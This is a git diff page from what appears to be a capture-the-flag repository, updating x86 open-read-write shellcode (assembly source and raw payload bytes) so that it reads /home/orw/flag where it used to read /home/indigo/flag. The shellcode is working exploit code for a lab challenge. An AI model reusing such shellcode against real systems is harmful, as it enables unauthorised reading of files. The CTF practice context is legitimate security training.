summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rwxr-xr-xfreadbin4296 -> 4292 bytes
-rw-r--r--fread.asm4
-rw-r--r--fread.obin528 -> 528 bytes
-rwxr-xr-xpayload2
4 files changed, 3 insertions, 3 deletions
diff --git a/fread b/fread
index ce7de5b..d2681df 100755
--- a/fread
+++ b/fread
Binary files differ
diff --git a/fread.asm b/fread.asm
index d02753a..03c2ab7 100644
--- a/fread.asm
+++ b/fread.asm
@@ -9,7 +9,7 @@ xor ecx, ecx ; arg2
xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000
pop ebx
-mov [ebx + 18], ecx ; arg1
+mov [ebx + 15], ecx ; arg1
int 0x80
;eax now contains our file descriptor.
@@ -33,5 +33,5 @@ int 0x80
data:
call str_found
-db "/home/indigo/flag"
+db "/home/orw/flag"
diff --git a/fread.o b/fread.o
index e50ec8d..dc28b79 100644
--- a/fread.o
+++ b/fread.o
Binary files differ
diff --git a/payload b/payload
index f73c1e9..7db6cd3 100755
--- a/payload
+++ b/payload
@@ -1 +1 @@
-ë$1À°1É1Ò[‰KÍ€‰Ã°‰á1Ò²ÿÍ€°1Û³‰áÍ€è×ÿÿÿ/home/indigo/flag \ No newline at end of file
+ë$1À°1É1Ò[‰KÍ€‰Ã°‰á1Ò²ÿÍ€°1Û³‰áÍ€è×ÿÿÿ/home/orw/flag \ No newline at end of file